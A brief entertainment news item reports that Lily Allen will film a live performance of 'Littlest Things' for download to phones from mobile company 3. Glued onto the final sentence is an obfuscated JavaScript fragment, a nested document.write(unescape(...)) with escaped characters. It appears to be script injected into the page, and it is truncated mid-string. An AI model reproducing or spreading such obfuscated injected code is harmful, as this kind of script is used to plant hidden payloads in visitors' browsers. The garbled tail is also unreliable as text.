Lily Allen calling

Cheeky pop star Lily Allen plans to promote her next single using video delivered to mobile phones.

The singer, who this summer had a huge hit with Smile, has agreed to perform in a video for mobile company 3.

Lily will be filmed singing her upcoming release Littlest Things live at London's Porchester Hall on October 4.

It will then be made available for 3 users to download direct to their phones, marking the start of 3's Front Room project.

And the footage will be later used in Lily's official video for the single, making it the first 'exclusive video prequel' out there, according to the phone company.

The company says it has two more artists, as yet unnamed, signed up to do the same.

Lily Allen is no stranger to exploiting new media.

She came to fame after MySpace users started to share her music online.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;